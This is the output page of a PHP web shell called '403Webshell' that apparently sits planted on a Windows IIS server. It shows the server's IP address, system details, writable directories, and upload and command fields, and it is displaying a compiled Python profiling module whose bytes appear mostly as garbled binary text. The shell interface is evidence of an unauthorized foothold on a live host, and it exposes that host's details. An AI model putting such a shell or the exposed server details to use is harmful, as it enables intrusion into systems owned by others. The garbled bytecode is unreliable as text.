403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.59
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python315/Lib/profiling/sampling/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python315/Lib/profiling/sampling/__pycache__/binary_reader.cpython-315.pyc
R
>lqj�c�f�Qs]PHs]QHGs]QHGsGs]QHGs]QH$G
s
QQ2sQQksP!)	z>Thin Python wrapper around C binary reader for profiling data.)�GeckoCollector)�FlamegraphCollector�CollapsedStackCollector)�JsonlCollector)�PstatsCollectorc�^`�\sQs]snQsQsQsQsQsQ
Qks	\
Q2sQsQ	s
UsP!)�BinaryReaderaBHigh-performance binary reader using C implementation.

This reader uses memory-mapped I/O (on Unix) for fast replay of
profiling data from binary files.

Use as a context manager:
    with BinaryReader('profile.bin') as reader:
        info = reader.get_info()
        reader.replay_samples(collector, progress_callback)
c�"�VmPUmP!)zKCreate a new binary reader.

Args:
    filename: Path to input binary file
)�filename�_reader)�selfr	s&&�5C:\Python315\\Lib\profiling\sampling\binary_reader.py�__init__�BinaryReader.__init__s��!�
����c�R�[OUO2UmU!�N)�_remote_debuggingrr	r
�rs&r�	__enter__�BinaryReader.__enter__ s��(�5�5�d�m�m�D����rc�f�UOd"UOO2PUmP
!r)r
�close)r�exc_type�exc_val�exc_tbs&&&&r�__exit__�BinaryReader.__exit__$s&���<�<�#��L�L��� ��D�L�rc�j�UOe[Q2gUOO2!)a�Get metadata about the binary file.

Returns:
    dict: File metadata including:
        - sample_count: Number of samples in the file
        - sample_interval_us: Sampling interval in microseconds
        - start_time_us: Start timestamp in microseconds
        - string_count: Number of unique strings
        - frame_count: Number of unique frames
        - compression: Compression type used
�(Reader not open. Use as context manager.�r
�RuntimeError�get_infors&rr!�BinaryReader.get_info*s-���<�<���I�J�J��|�|�$�$�&�&rc�l�UOe[Q2gUOOV2!)avReplay samples from binary file through a collector.

This allows converting binary profiling data to other formats
(e.g., flamegraph, pstats) by replaying through the appropriate
collector.

Args:
    collector: A Collector instance with a collect() method
    progress_callback: Optional callable(current, total) for progress

Returns:
    int: Number of samples replayed
r)r
r �replay)r�	collector�progress_callbacks&&&r�replay_samples�BinaryReader.replay_samples:s/���<�<���I�J�J��|�|�"�"�9�@�@rc�x�UOe[Q2gUOO2Q*!)Nr�sample_countrrs&rr*�BinaryReader.sample_countLs0���<�<���I�J�J��|�|�$�$�&�~�6�6rc�j�UOe[Q2gUOO2!)z�Get reconstruction statistics from replay.

Returns:
    dict: Statistics about record types decoded and samples
          reconstructed during replay.
r)r
r �	get_statsrs&rr-�BinaryReader.get_statsRs-���<�<���I�J�J��|�|�%�%�'�'r)r
r	r)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r
rrr!r'�propertyr*r-�__static_attributes__�__classdictcell__)�
__classdict__s@rrrsB����	����'� A�$�7��7�
	(�	(rrc���[U29^tt^2oUO2oS9%f
UQ*oUQ6Xc
[U2oLZUQ6Xc
[U2oLGUQ6Xc
[	U2oL4UQ6Xc
[U2oL!UQ6Xc
[
U2oL[QU02gUOV�2o	UOU2U	ttPPP2!)%fhP!9h)a�Convert a binary profiling file to another format.

Args:
    input_file: Path to input binary file
    output_file: Path to output file
    output_format: Target format ('flamegraph', 'collapsed', 'pstats', etc.)
    sample_interval_usec: Override sample interval (uses file's if None)
    progress_callback: Optional callable(current, total) for progress

Returns:
    int: Number of samples converted
�sample_interval_us�
flamegraph�	collapsed�pstats�gecko�jsonlzUnknown output format: )
rr!rrrrr�
ValueErrorr'�export)
�
input_file�output_file�
output_format�sample_interval_usecr&�reader�info�intervalr%�counts
&&&&&     r�convert_binary_to_formatrI^s���
�j�	!�	!�V���� ��'�E�E�4�0D�+E���L�(�+�H�5�I�
�k�
)�/��9�I�
�h�
&�'��1�I�
�g�
%�&�x�0�I�
�g�
%�&�x�0�I��6�}�o�F�G�G��%�%�i�C��	����%��1
"�	!�	!�	!�s4�C�C�C�C�&C�9C�=C�C%	�C%	)NN)
r3r�gecko_collectorr�stack_collectorrr�jsonl_collectorr�pstats_collectorrrrI�rr�<module>rOs)��D��+�I�+�-�P(�P(�f&r

Youez - 2016 - github.com/yon3zu
LinuXploit